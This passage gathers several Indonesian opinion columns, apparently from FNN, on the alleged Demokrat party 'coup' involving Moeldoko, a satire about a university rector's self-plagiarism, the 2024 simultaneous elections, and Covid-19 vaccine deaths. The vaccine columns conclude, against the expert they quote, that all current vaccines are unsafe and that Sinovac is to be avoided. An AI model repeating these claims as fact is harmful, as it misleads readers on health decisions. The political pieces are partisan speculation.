Partai Demokrat. Bukan dari luar. Mungkin Moeldoko lupa bahwa kudeta itu biasanya biasa digerakkan oleh pihak luar. Moeldoko kini seolah menjadi brutus yang menikam Julius Caesar. Moeldoko yang dulu diangkat oleh Soesilo Bambang Yudhoyono (SBY) dari mulai Kasdam Jaya, menjadi Pangdam Jaya, lalu menjadi Wakil Kepala Staf TNI Angkatan Darat (KSAD), seterusnya menjadi KSAD dan Panglima TNI tersebut, mau memimpin kudeta terhadap partai dan anaknya SBY. Beredar media sosial berbagai fose foto Moeldoko sedang mencium tangan Presiden SBY saat itu. Namun Mooldoko hari ini bukan lagi Moeldoko yang dulu berkali-kali menciun tangannya SBY. Moeldoko sekarang adalah anak buahnya Presiden Jokowi yang diberikan kehormatan dan jabatan sebagai Kepala KSP. Tidak semua orang bisa meraih jabatan tersebut. Bulan Oktober 2020 lalu, pernah ramai juga isu kalau Jokowi akan dikudeta. Anggota Komisi VI dari Fraksi PDIP Darmadi Durianto yang mengangkat isu itu dengan sebutan "kudeta merangkak". Menurutnya, solusi untuk mengantisipasinya adalah Jokowi harus melakukan reshuffle kabinet. Lalu Ketua Brigade 98 juga menyebut ada empat kelompok yang ingin mengkudeta Jokowi yang salah satunya adalah kelompok Cendana. Tiga kelompok lainnya yang mau mengkudeta Presiden Jokowi adalah Hizbut Tahrir Indonesia (HTI), kalangan pengusaha hitam, dan kelompok oligarki. Ujunya adalah HTI dibuabrkan. Langkah pembubaran HTI itu didahului dengan kebijakan Presiden Jokowi mengeluarkan Peraturan Pemerintah Pengganti Undang-Undang (Perppu). Masyarakat melihat isu kudeta terhadap Presiden Jokowi hanya "mainan" untuk meningkatkan wibawa Jokowi sendiri yang terus merosot. Kecuali kudeta dalam partai politik, baik melalui pembiayaan "jor-joran" di forum pemilihan Ketua Umum, atau melalui pembelahan partai. Makanya kudeta terhadap seorang Kepala Negara tidak tercatat dalam sejarah bangsa Indonesia. Nah wajar kita curiga, ke depan bukan mustahil muncul isu kudeta lagi. Apalagi di tengah belepotan dan paniknya pemerintah menghadapi segudang persoalan. Misalnya, gagalnya penangan pandemi covid-19, korupsi yang pelakunya berlindung di sekeliling istana, pelanggaran Hak Asasi Manusia (HAM), macetnya investasi dari luar, tumpukan hutang luar negeri yang menggunung, daya beli masyarakat yang rendah, serta krisis ekonomi yang sedang terjadi. Rupanya perlu kreativitas palsu-palsuan untuk mendongkrak krisis terhadap kepemimpinan negara. Akan tetapi rakyat itu suah semakin cerdas. Sangat sulit untuk menipu rakyat dengan drama teror, walaupun berjudul kudeta. Acta est fabula, plaudite. "Sandiwara telah berakhir, ayo segera bertepuk tanganlah"! Penulis adalah Pemerhati Politik dan Kebangsaan.

Bersiap-siaplah, Muryanto Amin Akan Bawa USU Ke Puncak Prestasi

by Asyari Usman Medan, FNN - Universitas Sumetara Utara (USU) kelihatannya akan melakukan “quantum leap” (lompatan besar) dalam cara mahasiswa di semua strata menyelesaikan program perkuliahan. Yang tampaknya paling menonjol adalah kemudahan dalam pembuatan thesis, skripsi dan karya-karya ilmiah lainnya. Singkatnya, akan ada terobosan besar yang diciptakan oleh rektor yang baru dilantik, Dr Muryanto Amin. Beliau akan membawa USU menuju “kebebasan akademis” yang tidak pernah ada di mana pun juga. Betul-betul bebas. Dalam makna hakiki. Itulah kebebasan yang akan diperkenalkan oleh Muryanto Amin. Kebebasan hakiki itu adalah kebebasan tanpa batas etika akademis. Adab akademis tidak lagi menjadi rambu keilmuan. Begitu juga norma kejujuran akademis, tidak perlu lagi dijadikan acuan dalam penelitian dan penyusunan karya ilmiah. Ini standar baru yang bertujuan untuk meringankan mahasiwa dan dosen. Mengapa kebebasan hakiki itu akan diimplementasikan Muryanto? Karena beliau telah merasakan betapa beratnya proses purifikasi gagasan ilmiah dalam bentuk yang ada saat ini. Sampai-sampai beliau dinyatakan oleh Rektor USU periode 2016-2021 telah melakukan ‘self plagiarism’ (otoplagiasi) secara sengaja dan berulang. Padahal, Muryanto hanya melakukan tindakan efisiensi akademis untuk mempercepat penyusunan dan penerbitan karya ilmiah. Dia telah mencontohkan cara yang praktis untuk mendapatkan angka kredit. Cara Muryanto itu mendapatkan apresiasi dari negara. Dia akhirnya bisa melepaskan diri dari predikat otoplagiasi. Mendikbud Nadiem Anwar Makarim mencabut SK Rektor No. 82/UN5.1.R/SK/KPM/2021 yang dianggap mendiskreditkan Muryanto. Sekarang, dia dinyatakan bersih. Tak lagi memikul dosa akademis. Semua dosa itu ditanggung oleh Mendikbud sebagai “juru selamat”. Muryanto pastilah tidak ingin pengalaman yang traumatis ini dirasakan orang lain. Karena itu, perlu ada simplifikasi dalam pembuatan karya tulis ilmiah. USU harus menjadi Univesitas Simpel Urusan. Para mahasiswa akan diberi kebebasan hakiki. Agar bisa membangun loyalitas akademis.Tidak terus-menerus dihantui oleh proses rafinasi ilmiah yang “torturing” (menyiksa) itu. Loyalitas yang akan dirangsang oleh Muryanto adalah ketaatan mahasiswa dan dosen pada karya-karya akademis yang sudah pernah terbit. Dalam arti, karya-karya tulis yang sudah ada dalam lingkup sesuatu subjek akademis, akan dipertahankan dan dilestarikan. Ini bisa dilakukan antara lain dengan cara menerbitkan ulang karya-karya ilmiah itu untuk berbagai tujuan. Bisa untuk kenaikan pangkat, jabatan struktural, dll. Para mahasiswa dan dosen tentunya diminta bijak dalam menerapkan prinsip taat karya ilmiah itu agar tidak menimbulkan “curiosity” (keingintahuan) publik. Dalam tataran praktis, itu artinya berhati-hatilah memilih tempat untuk menerbitkan ulang karya-karya ilmiah yang sudah dipublikasikan di tempat lain. Yang penting, harus selalu cermat dan penuh siasat sebagaimana dicontohkan oleh Muryanto yang kemudian mendapatkan pengakuan dari Mendikbud. Para mahasiswa dan dosen diminta agar memastikan bahwa penerbit memiliki reputasi sebagai pengelola jurnal yang memudahkan, bukan menyulitkan. Kalau iklim akademis konvesional masih belum kondusif untuk penerbitan ulang (multiple publications) karya ilmiah, maka para mahasiswa dan dosen bisa melakukan semacam “propitious adjustment” (penyesuaian yang bijaksana). Ini termasuk perubahan minor yang dilakukan agar loyalitas akademis tidak terlalu mencolok. Diperkirakan, Muryanto akan menjadikan USU sebagai satu-satunya universitas di dunia yang akan mendorong loyalitas akademis itu. Ini akan sangat menguntungkan mahasiswa dan dosen yang tak punya waktu untuk meneliti dan menulis. Dalam bahasa Rocky Gerung, Muryanto akan memprakarsai pertumbuhan ilmu gaya baru, yaitu tumbuh ke bawah. Pertumbuhan yang mengikuti grafik minus. Bukan tumbuh kembang, tetapi tumbuh kuncup. Apakah ini akan menjadi masalah? Belum tentu. Berikanlah ruang dan waktu kepada Muryanto untuk bereksperimen di USU. Bukankah Mendikbud dengan tegas mendukung cara-cara Muryanto “mengembangkan” ilmunya? Tenanglah Anda semua. Percayakan seluruhnya pada Muryanto. Dia akan membawa USU ke puncak prestasi. USU akan menjadi Unik-Simpel-Ujug-ujug. Unik, satu-satunya di dunia. Simpel: cukup copy paste saja. Ujug-ujug: Anda bisa menjadi apa saja, kapan saja.[] Penulis adalah Wartawan Senior FNN.co.id.

Kudeta Demokrat: Ini Bukan Permainan SBY!

by Mochamad Toha Surabaya, FNN - Nama Kepala Staf Presiden (KSP) Moeldoko hari-hari ini viral di berbagai media. Pasalnya, mantan Panglima TNI era Presiden Susilo Bambang Yudhoyono ini “terendus” berniat akan “mengkudeta” Ketum Partai Demokrat Agus Harimurty Yudhoyono. Semula, nama Moeldoko masih remang-remang sebagai salah satu tokoh di luar Demokrat yang berkolaborasi dengan “orang dalam” partai besutan SBY itu. Adalah Kepala Bappilu Demokrat Andi Arief menyebut, orang yang dimaksud adalah Moeldoko. Gerakan dan manuver politik oleh segelintir kader dan mantan kader yang akan mengkudeta Demokrat sampai ke telinga AHY. Disebutkan, ada lima orang yang menggalang kudeta itu. Mereka berasal dari internal dan eksternal partai, dilakukan secara sistematis. AHY menyebut, mereka terdiri dari 1 kader Demokrat aktif, 1 kader yang sudah 6 tahun tidak aktif, 1 mantan kader yang sudah 9 tahun diberhentikan dengan tidak hormat karena dihukum akibat korupsi, dan 1 mantan kader yang telah keluar dari partai 3 tahun yang lalu. Sementara satu lagi adalah non kader partai yang kini menjadi pejabat tinggi pemerintahan. Ialah Moeldoko. “Banyak yang bertanya siapa orang dekat Pak Jokowi yang mau mengambil alih kepemimpinan AHY di Demokrat, jawaban saya KSP Moeldoko,” ujar Andi Arief. Pernyataan tersebut selaras dengan apa yang disampaikan Wasekjen DPP Demokrat Jansen Sitindaon, orang itu adalah pejabat militer yang pernah dibesarkan oleh Presiden SBY yang mengangkat Moeldoko sebagai Panglima TNI. Sementara itu mengenai kader Demokrat aktif yang turut menggalang kudeta, kabar yang beredar mengerucut pada nama Johny Alen Marbun, Anggota DPR RI dari Fraksi Demokrat itu memang pernah berbeda pandangan dengan DPP saat Pilpres 2019 lalu. Sedangkan untuk nama kader yang disebut tidak aktif lagi sejak 6 tahun lalu, kabarnya adalah Marzuki Alie. Mantan Ketua DPR RI dari Demokrat ini sudah menghilang sejak 6 tahun lalu, tepatnya saat gagal lolos ke Senayan pada Pileg 2014. Pada 2015, nama Marzuki Alie sudah tidak ada lagi bercokol di pengurus Demokrat. Adapun nama kader yang sudah 9 tahun diberhentikan dengan tidak hormat karena kasus korupsi ini diduga adalah Muhammad Nazaruddin. Nama Nazaruddin memang sudah tak asing bagi dunia politik di negeri ini. Pada 9 tahun lalu dia ditangkap di Bogota, Kolombia setelah menjadi buron dalam kasus Wisma Atlet. Sedang nama mantan kader yang sudah keluar sejak 4 tahun lalu diduga adalah Max Sopacua. Nama Max Sopacua memang kerap muncul ketika ada gaduh mengenai internal Demokrat. Max Sopacua beberapa kali juga mendengungkan untuk dilakukan Kongres Luar Biasa di tubuh Partai Demokrat. Namun, belum ada kabar resmi siapa 4 orang di luar nama Moeldoko yang dimaksud AHY sedang menjadi “dalang kudeta” itu. Demokrat Melawan “Kita ikuti saja terus perkembangan situasi eksternal, sambil perkuat konsolidasi internal kita. Perkuat terus narasi dan persepsi bahwa kita secara internal memang solid dan kompak, dan siap Lawan siapapun yang mau merusak soliditas dan kekompakan itu,” tegas AHY. Karena saat ini mereka tengah berupaya membangun narasi (termasuk melalui media) bahwa di tubuh PD ada gerakan besar yang ingin kudeta. Padahal, lanjut AHY, ya pelakunya hanya segelintir orang (dan orangnya ya itu-itu saja). “Bedanya kini ada Aktor Eksternal yang sudah sangat kebelet ingin jadi Presiden. Karena perlu “kendaraan” untuk nyapres nanti, makanya dia ingin rebut Demokrat secara paksa dan dengan cara-cara yang inkonstitusiona l, keluar jauh dari nilai-nilai moral dan etika,” ujarnya. Para pelaku gerakan juga seenaknya beranggapan bahwa Demokrat for Sale. Lantang katakan kalau Demokrat is Not for Sale! “Yang jelas, mereka tidak menyangka kalau kita akan berani se-frontal dan setegas itu untuk menguak kebenaran dan menuntut keadilan. Tunjukkan terus sikap seperti ini kepada Rakyat kita,” tegas AHY. “Mengapa kita harus berani? Karena kalau takut kita akan diinjak-injak. Dan kalau kita takut, lalu siapa lagi yang akan berani berdiri tegak membela kebenaran dan keadilan tadi? Kalau Demokrat merasa lemah dan tak berdaya, apalagi rakyat kita?” “Dan, mari kita ingatkan diri kita, bahwa kita hanya boleh takut kepada Tuhan, dan Rakyat; karena Suara Rakyat, Suara Tuhan. Mereka bisa saja ngeles ke kiri dan ke kanan; mencoba escape dari situasi sebenarnya,” ungkap AHY. Mereka juga mencoba menunjukkan sikap “santai”, menyederhanakan permasalahan. Bahkan mereka coba membuat persepsi kalau Demokrat “Cari Perhatian”, “Baper”, “Playing Victim”, “Halusinasi” atau sedang bermain “Drama”. “Tegaskan bahwa kita bukan Pemain Drama, kita adalah Politisi yang Kesatria. Bukan seperti Mereka. Jangan ragu, apalagi kita sudah kumpulkan berbagai bukti, yang pasti akan membuat mereka sulit untuk tidur nyenyak,” tegas AHY. Jadi, lanjutkan perjuangan para pengurus DPP! Lanjutkan untuk membangun opini sekaligus kontra-opini melalui media mainstream maupun media sosial. Lawan segala bentuk Fitnah dan Hoax yang merusak citra partai kita, termasuk yang dilakukan oleh para Buzzer. “Akhirnya, marilah kita ambil hikmah dari ini semua. Justru jadikan ujian yang sedang kita hadapi bersama ini sebagai momentum yang baik untuk merapatkan barisan dan menguatkan Otot Politik kita,” pinta AHY. Dalam organisasi apapun (apalagi Partai Politik), secara internal sangat wajar kalau ada perbedaan pandangan atau sikap di antara kita terkait berbagai hal. Menurut saya, perbedaan (dalam takaran tertentu) justru Sehat bagi sebuah organisasi. Namun, yang mungkin tidak mereka sadari adalah: semua perbedaan itu akan segera kita tinggalkan ketika ada ancaman Musuh Bersama dari luar. “Kini, tanpa kita minta dan tanpa kita sangka, Musuh Bersama itu telah hadir mengusik dan mengancam soliditas, kedaulatan dan kehormatan Partai kita. Oleh karena itu, marilah kita fokuskan pikiran, energi, dan daya kita untuk Hadapi Musuh Bersama kita hari ini!” Sebagai mantan pamen berpangkat Mayor yang juga anak presiden, AHY pasti sudah tahu siapa “dalang kudeta” yang dimaksud itu. Tidak mungkin seorang Moeldoko bisa “bermain” sendiri tanpa dukungan “Jenderal Pebisnis". Ini adalah kontestasi untuk meraup semua parpol di bawah kendali Jenderal Pebisnis tadi. Dia seser dulu parpol-parpol yang kecil-kecil dulu sambil ambil-alih PDIP dan Golkar. Demokrat dia incar karena dipikir Demokrat sudah lemah betul di bawah kendali AHY. Cuma Gerindra saja nanti yang “setengah dilepas” sang Jenderal Pebisnis tadi. Ketika semua parpol di Indonesia sudah di bawah kendalinya, dia bebas menentukan siapa RI1 dan RI2 pilihannya. Jadi, kalau dikecilkan skupnya hanya soal menjegal Anies Baswedan, bukan tipenya sang Jenderal Pebisnis itu. Yang “main” sekarang itu ya dia ini. Kalau cuma playing victim dan skenario SBY ya kurang cantik mainnya. Ini bukan permainan SBY. Kalau ini permainan SBY, rasanya terlalu kasar dan arogan. Saya yakin, SBY mainnya akan lebih cantik! Penulis adalah Wartawan Senior FNN.co.id.

Perlombaan Vaksin Covid-19 Belum Usai, Imun Tubuh Harus Kuat! (2)

by Mochamad Toha Surabaya, FNN - Seorang teknisi rontgen di Orange County, California, Tim Zook, 60 tahun, meninggal empat hari setelah mendapat suntikan kedua vaksin Covid-19 Pfizer pada 5 Januari lalu. Dua jam setelah disuntik Zook mengalami nyeri perut dan gangguan pernafasan. Dokter mengatakan bahwa ini sebagai reaksi peradangan (inflamasi). Zook memiliki riwayat hipertensi dan sedikit kelebihan berat badan. Kematian Zook sudah dilaporkan ke FDA dan CDC Selasa lalu. Menurut Coroner, salah satu otoritas kesehatan di sana yang berhak menentukan penyebab kematian tak wajar, penyebab kematiannya tersebut belum bisa dipastikan dan uji toksisitas (keberadaan racun di dalam tubuh) akan memerlukan waktu beberapa bulan. Isterinya tidak menyalahkan Pfizer, karena dia tahu suaminya mempercayai vaksin. Hanya saja dia berharap perlu dilakukan lebih banyak riset untuk reaksi alergi yang parah, yang meskipun insidennya jarang, namun pada beberapa kasus bisa menyebabkan kematian. Sebelumnya seorang petugas kesehatan di Placer County, California, juga dilaporkan telah meninggal beberapa jam setelah mendapat vaksinasi Covid-19, namun belum diketahui vaksin mana yang diterimanya. Orang ini hasil tesnya akhir Desember lalu menunjukkan positif Covid-19, dan dia (tetap) divaksinasi 21 Januari lalu. Tidak disebutkan apakah petugas vaksinasi mengetahui hasil tes itu sebelum memberikan suntikan. Belum ada berita lengkapnya. ThrombocytoPenia Menurut Arie Karimah, meninggalnya Michael, seorang dokter Obgyn di Florida, AS, setelah vaksinasi Covid-19 dosis pertama Pfizer diduga karena komplikasi penyakit ITP. Immune ThrombocytoPenia-ITP adalah salah satu bentuk penyakit autoimun. Artinya sistem kekebalan tubuh bukannya menyerang musuh, misalnya bakteri atau virus, melainkan bagian tubuhnya sendiri yaitu trombosit atau platelet. Istilah trombosit lebih populer untuk orang awam, sedangkan platelet untuk kalangan medis. ThrombocytoPenia artinya adalah kadar trombosit di dalam darah rendah, di bawah angka normalnya yaitu 150.000 - 400.000/mm3. Trombosit adalah salah satu bagian dari sel darah. Dalam keadaan normal, jika terjadi infeksi oleh bakteri atau virus maka sel-sel darah putih akan menuju ke lokasi infeksi, dia keluar meninggalkan pembuluh darah menuju sel yang terinfeksi, atau ke kelenjar getah bening untuk membunuh bakteri atau virus. Bekas keluarnya sel darah putih ini akan “ditambal” atau ditutup oleh trombosit, agar tidak terjadi pendarahan. “Kira-kira mirip dengan cara abang tambal ban ketika menambal ban tubeless yang bocor,” tulis Arie Karimah dalam akun FB-nya. Hal yang sama juga terjadi jika ada cedera pada dinding pembuluh darah bagian dalam. Untuk mencegah terjadinya pendarahan trombosit akan berikatan dengan benang-benang fibrin, faktor pembekuan darah dan sel darah merah. “Inilah yang dikenal sebagai proses pembekuan darah,” jelas Arie Karimah. Jadi, bisa dibayangkan jika jumlah trombosit sangat rendah maka pendarahan bisa terjadi di mana-mana, karena proses masuknya bakteri dan virus ke dalam tubuh berlangsung terus-menerus, sehingga perlawanan oleh sel darah putih juga berlangsung 24 jam nonstop. “Lubang-lubang” bekas keluarnya sel darah putih akan dibiarkan terbuka, sehingga plasma dan sel-sel darah merah bisa ikut keluar meninggalkan pembuluh darah. Inilah yang disebut dengan proses pendarahan. Demikian juga cedera pada pembuluh darah: tidak terjadinya proses pembekuan darah akan menyebabkan terjadiya pendarahan. Itulah sebabnya sangat mudah dipahami ketika dr. Michael angka trombositnya Nol, maka pendarahan bisa terjadi di seluruh tubuhnya. Terjadinya hemorrhagic stroke yang dialaminya dua hari sebelum meninggal menunjukkan terjadinya pendarahan di pembuluh darah di otak. Darahnya akan membanjiri otaknya, dan mungkin ini yang menjadi penyebab kematiannya. Penyakit autoimun adalah penyakit yang langka. “Saya menyebutnya ini adalah penyakit yang termasuk dalam kategori takdir, yang tidak bisa dihindari,” ujar Arie Karimah. Berbeda dengan kebanyakan penyakit lainnya, misal: hipertensi, diabetes, tifus atau radang sendi, yang lebih disebabkan oleh kesalahan pola hidup dan pola makan selama belasan atau puluhan tahun. Artinya, orang bisa menghindari penyakit ini kalau mau memilih melakukan pola hidup dan pola makan yang sehat. Selain ITP, contoh yang termasuk dalam kategori penyakit autoimun adalah: Lupus (SLE, Systemic Lupus Erythematosus) yang menyerang persendian, ginjal atau bagian lain; Diabetes mellitus tipe 1 yang menyerang kelenjar pankreas; Rheumatoid arthritis yang menyerang persendian, terutama jari tangan. Menurutnya, pada penyakit autoimun dikenal istilah periode remisi dan eksaserbasi. Artinya, penyakit ini bisa tiba-tiba muncul (kambuh, eksaserbasi), dan bisa juga “menghilang” atau sembuh dengan sendirinya (remisi). Jarak antara fase remisi dan eksaserbasi ini bisa dalam hitungan bulan, tahun atau bahkan belasan tahun. Cara mengontrolnya bisa dilakukan dengan pemeriksaan berkala trombosit, Rf (rheumatoid factor) atau jumlah leukosit. Arie Karimah berpesan, yang perlu dihindari: Semua suplemen atau makanan dengan klaim bisa meningkatkan sistem imun (immune booster). Pengobatan: dengan kelompok steroid (deksametason, metilprednisolon) atau immunosuppressant (Sandimmun, Cellcept). Risiko: lebih sering/mudah mengalami infeksi jika sedang dalam masa pengobatan dengan steroid atau immunosuppressant. Menurut Arie Karimah, setelah mempelajari beberapa kasus reaksi alergi yang parah pada vaksinasi, CDC mengeluarkan informasi yang baru: Mereka yang pernah mengalami reaksi alergi parah yang tidak berkaitan dengan vaksin atau obat-obatan (apa saja) yang disuntikkan, misalnya: alergi makanan, bulu binatang peliharaan, debu, atau lateks tetap masih bisa mendapat vaksinasi. Mereka yang memiliki riwayat alergi pada obat-obatan (apa saja) yang diminum, memiliki riwayat keluarga dengan reaksi alergi parah, atau pernah mengalami reaksi alergi ringan terhadap vaksin bukan Covid-19 (misal: merah, gatal, dan Bukan anafilaksis), masih bisa mendapatkan vaksinasi. “Kalau anda berpendapat vaksinasi ini mengerikan karena bisa menyebabkan kematian, let me tell you this!” ujarnya. Dalam catatan Arie Karimah, ini adalah orang Ketiga yang meninggal setelah divaksinasi di AS. Jumlah orang yang telah divaksinasi di AS: lebih dari 24 juta. Jumlah yang meninggal akibat Covid-19: 443,7 ribu orang, dari total 26,3 juta kasus Covid-19 di AS (7,96% populasi). Jadi persentase kematian akibat Covid di AS: 1,7% dari total kasus, 0,13% dari seluruh populasi, atau 0,14% dari orang yang tidak terinfeksi Covid. Jadi, “Jauh Lebih Banyak kematian yang disebabkan oleh Covid-19 dibandingkan vaksin. Begitu cara membuat apple-to-apple comparison,” simpul Arie Karimah. Jika menyimak kasus di Jerman dan AS tersebut, yang jelas, apapun produk vaksin Covid-19 saat ini diyakini masih belum aman untuk dikonsumsi. Ini menandakan bahwa “perlombaan” vaksin belumlah selesai. Nama besar, seperti Pfizer, belumlah jaminan. Namun, jika mengkonsumsi vaksin dengan efikasi rendah dan lebih tidak aman, seperti Sinovac, justru sebaiknya harus dihindari. (Selesai) Penulis adalah Wartawan Senior FNN.co.id.

Wajah Demokrasi Makin Buram di Pemilu Serentak 2024

by Tony Rosyid Jakarta FNN - Demokrasi direpresentasikan paling nyata dalam pemilu. Pemilihan Presiden (Pilpres), Pemilihan Kepala Daerah (Pilkada) dan Pemilihan Legislatif (Pileg). Setiap orang diberi hak suara. One man One vote One value. Di Indonesia, dalam lima tahun, ada sekali pilpres, sekali pileg-pemilihan Dewan Perwakilan Daerah (DPD), dan 548 kali pilkada. Terdiri dari 514 Kabupaten dan Kota dan 34 Provinsi. UU Pilkada Nomor 10 Tahun 2016 menghendaki adanya pemilu serentak 2024. Pilpres, Pileg dan Pilkada diselenggarakan sekaligus. Bersama-sama dalam satu waktu. Belajar dari Pilpres dan Pileg 2019 lalu, ada sebanyak 894 petugas pemilu yang meninggal dunia. Katanya karena faktor kelelahan. Dibilang "katanya", karena beritanya simpang siur. Dan nggak ada hasil investigasi. Maka, diusulkanlah revisi UU tersebut. Dan RUU-nya telah masuk Prolegnas. Ada banyak perubahan di RUU. Termasuk usulan "normaliisasi pilkada" 2022 dan 2023. Semula, hanya PDIP yang menolak. Partai lain, semua sepakat adanya "normalisasi pilkada". Artinya, 2022 dan 2023 tetap ada pilkada. Belakangan, Presiden mendukung pemilu tetap diselenggarakan serentak di 2024, sesuai UU No 10 Tahun 2016 tersebut. Setelah pernyataan presiden ini, banyak partai yang mendadak berbalik. Golkar, Gerindra, PKB, PAN dan PPP mendukung usulan presiden. Otomatis, mendukung PDIP. Total suara partai pendukung usulan presiden itu ada 327 suara di DPR. Sementara hanya PKS, Demokrat dan Nasdem yang tetap bertahan dengan usulan "normalisasi pilkada" 2022 dan 2023. Total suaranya hanya 248. PKS, Nasdem dan Demokrat kalah suara. Maka, keputusannya sudah bisa dibaca: 2022 dan 2023 tidak ada pilkada. Diundur di 2024. Para kepala daerah, gubernur, walikota dan bupati yang habis masa kerjanya tahun 2022 dan 2023 akan diganti oleh Pelaksana Tugas (Plt). Jumlahnya ada 272 kepala daerah. Masing-masing Plt menjabat 1-2 tahun. Dari mana Plt-Plt ini? Akankah semuanya diisi dari pejabat Kemendagri? Ataukah ada yang dari Polri, mengingat Mendagri Tito Karnavian adalah mantan Kapolri? Atau ada yang dari TNI, semacam alasan untuk berbagi? Atau juga ada dari kader parpol yang ditunjuk oleh mendagri? Memang, jika pemilu diselanggarakan serentak, maka akan lebih efisien dari sisi waktu dan biaya. Tetapi sangat berisiko. Petugas akan kelelahan. Belajar dari pemilu 2019 yang hanya pilpres-pileg saja, hampir seribu petugas pemilu meninggal dunia. Meski menyisakan teka-teki, apakah seluruhnya mati karena unsur kelelahan, atau ada faktor lain. Dalam pemilu serentak, manipulasi kemungkinan akan lebih masif. Karena pengawasan sangat terbatas. Cara berpikirnya sangat sederhana. Sebab pemainnya bertambah banyak, sementara jumlah pengawas tetap. Tidak bertambah. Ya pasti tidak proporsional. Pada pemilu 2019, Panwas mengawasi Pilpres danPpileg saja sudah sangat kedodoran. Bagaimana mungkin ditambah lagi dengan pemilihan bupati/walikota dan gubernur? Mau berapa banyak lagi petugas Pemilu yang harus meninggal dunia karena kelelahan. Pemilih pun umumnya gagal fokus. Karena banyaknya jumlah surat suara dan jumlah calonnya. Dalam satu waktu pemilih harus mencoblos surat suara untuk DPRD I, DPRD II, DPR, DPD, bupati/Walikota, Gubernur dan Presiden. Tujuh surat suara. Pasti akan sangat membingungkan. Dua surat suara saja, banyak yang nggak fokus. Apalagi ini tujuh surat suara. Coba hitung jumlah caleg DPR, DPRD I, DPR II, calon DPD, calon bupati/walikota, dan calon gubernur, plus calon presiden-wakil presiden. Kurang lebih ada 40 nama. Anda yang muda dan cerdas saja kebingungan untuk memilih. Apalagi ABG dan para orang tua. Bagaimana mau menghasilkan pejabat yang berkualitas? Anda coba bayangkan ketika mereka kampanye di depan anda. Ada 40 calon yang kampanye. Dan hampir semuanya tidak anda kenal dengan baik. Siapa yang akan anda pilih? Tak sedikit pemilih yang akhirnya pragmatis. Sama-sama tidak kenal, pilih yang kasih uang paling besar. Selama ini, itulah yang banyak terjadi di desa-desa, dan daerah pinggir perkotaan. Pemilih pragmatis. Karena sistem mendorong pemilih untuk bersikap pragmatis. Apalagi, hukum tak pernah hadir disitu. Belum lagi waktu yang dibutuhkan untuk penghitungan. Bisa sehari semalam. Bahkan sampai pagi. Disini, para saksi juga akan mengalami kelelahan. Apalagi Panwas dan petugas KPPS. Kasihan mereka para petugas itu. Idealnya, ada tiga kali pemilu. Pilkada, pileg dan pilpres dilakukan secara terpisah. Pemilih bisa fokus pada pilihannya. Pengawasan juga bisa dilakukan dengan baik. Masyarakat, lembaga-lembaga independen dan pers bisa jadi alat kontrol untuk menjaga kualitas pemilu. KPPS, Panwas dan para saksi tidak harus menanggung risiko fisik karena faktor kelelahan atau lainnya. Entah apa yang menjadi pertimbangan partai-partai tersebut sehingga pemilu diusulkan serentak. Jangan sampai hasrat politik mengalahkan kepentingan bangsa, termasuk untuk keselamatan petugas KPPS, Panwas dan para saksi. Terutama "yang paling penting" untuk menjaga kualitas hasil pemilu. Selama ini, kualitas pemilu kita sudah buruk. Sarat money politics, intimidatif dan manipulatif. Dengan pemilu serentak, besar kemungkinan akan semakin buruk. Pengamat Politik dan Pemerhati Bangsa.

Perlombaan Vaksin Covid-19 Belum Usai, Imun Tubuh Harus Kuat! (1)

by Mochamad Toha Surabaya, FNN - Fakta ini terjadi di Eropa. Media Prancis pada Senin, 25 Januari 2021 menulis, sebenarnya Jerman melaporkan dua kematian baru-baru ini. Pada akhir Desember lalu, seorang nenek Swiss berusia 91 tahun meninggal setelah disuntik dengan vaksin BioNTech/Pfizer. Tapi, menurut investigasi departemen resmi Swiss, kematian itu tidak terkait dengan vaksin. Dalam kasus lain, pada pertengahan Januari 2021 lalu, seorang nenek berusia 90 tahun dari Lower Saxony, Jerman, meninggal beberapa jam setelah disuntik dengan vaksin BioNTech/Pfizer. Menurut investigasi Jerman, kematian tersebut tidak terkait dengan vaksin. Sejauh ini, belum ditemukan kasus kematian akibat vaksin BioNTech Jerman. Dua kematian di Jerman itu langsung “ditangkap” Liu Xin, reporter Tiongkok International Television. Pada 16 Januari 2021, Liu Xin menulis di Twitter: “Saya tidak dapat memastikannya secara independen, tetapi beritanya mengganggu: ‘Sepuluh orang meninggal beberapa hari setelah vaksin BioNTech/Pfizer di Jerman’.” Berita ini berasal dari 2 laporan di Jerman tersebut. Media resmi Komunis Tiongkok Global Times sebelumnya telah melaporkan, vaksin BioNTech/Pfizer tidak efisien dan dikembangkan di bawah batasan waktu yang ketat. Di Jerman, efektivitas dan keamanan dari vaksin Tiongkok dipertanyakan oleh publik. Baru-baru ini, Mingguan Der Spiegel Jerman, Focus, dan banyak media seperti Weekly dan Frankfurt Review juga mengklaim bahwa banyak masalah vaksin Tiongkok. Pemberitaan media di Jerman yang mempertanyakan efektivitas vaksin produk Tiongkok itu menunjukkan bahwa dalam persaingan vaksin, Tiongkok gagal. Di sisi lain Tiongkok menyebarkan berita palsu tentang vaksin yang dikembangkan bersama oleh BioNTech Jerman dan Pfizer AS untuk merusak kepercayaan publik terhadap vaksin ini, sehingga mengalihkan perhatian orang dari vaksin Komunis Tiongkok yang bermasalah. Der Spiegel melaporkan bahwa Tiongkok berharap menjadi yang terdepan dalam perlombaan vaksin Tiongkok, tetapi gagal mencapai keinginannya. Sekarang agen propaganda Tiongkok menyebarkan informasi palsu yang ditargetkan untuk mendistorsi persaingan. Baik Der Spiegel dan Focus percaya, Tiongkok dengan sengaja memutarbalikkan fakta dan menyebarkan berita palsu. Tiongkok terkenal akan hal ini. Tiongkok ingin menunjukkan, vaksin yang dikembangkannya itu cemerlang, tapi vaksin yang dikembangkan Barat tidak. Focus, Munich Mercury, dan banyak media lainnya mengkritik, Tiongkok mendiskreditkan vaksin lain untuk mendukung vaksin Tiongkok. Menurut sebuah laporan Prancis, banyak media Jerman percaya bahwa penyebaran informasi palsu oleh media resmi Tiongkok adalah karena vaksin yang dikembangkan oleh Tiongkok berada dalam posisi terbelakang dalam kompetisi internasional. Vaksin Tiongkok sendiri masih memiliki banyak masalah. Sementara itu Vaksin BionTech/Pfizer melampaui vaksin Tiongkok. Pada 5 Januari 2021, pakar vaksin Tiongkok Tao Lina memposting di Weibo mengatakan, ada sebanyak 73 efek samping setelah vaksinasi Sinopharm. Menurutnya itu adalah vaksin yang paling tidak aman di dunia. Tetapi postingan itu segera dihapus, dan Tao Lina kemudian meminta maaf dan mengatakan bahwa dia akan divaksinasi di Tiongkok. Selain itu, pada November tahun lalu, sebuah survei di Shanghai menunjukkan bahwa staf medis Shanghai enggan menerima vaksin Tiongkok. Diantara mereka, lebih dari 90% staf medis di RS Pengobatan Tradisional Tiongkok Distrik Yangpu menolak vaksin. Pemberitahuan survei dari Kota Zhenjiang, Provinsi 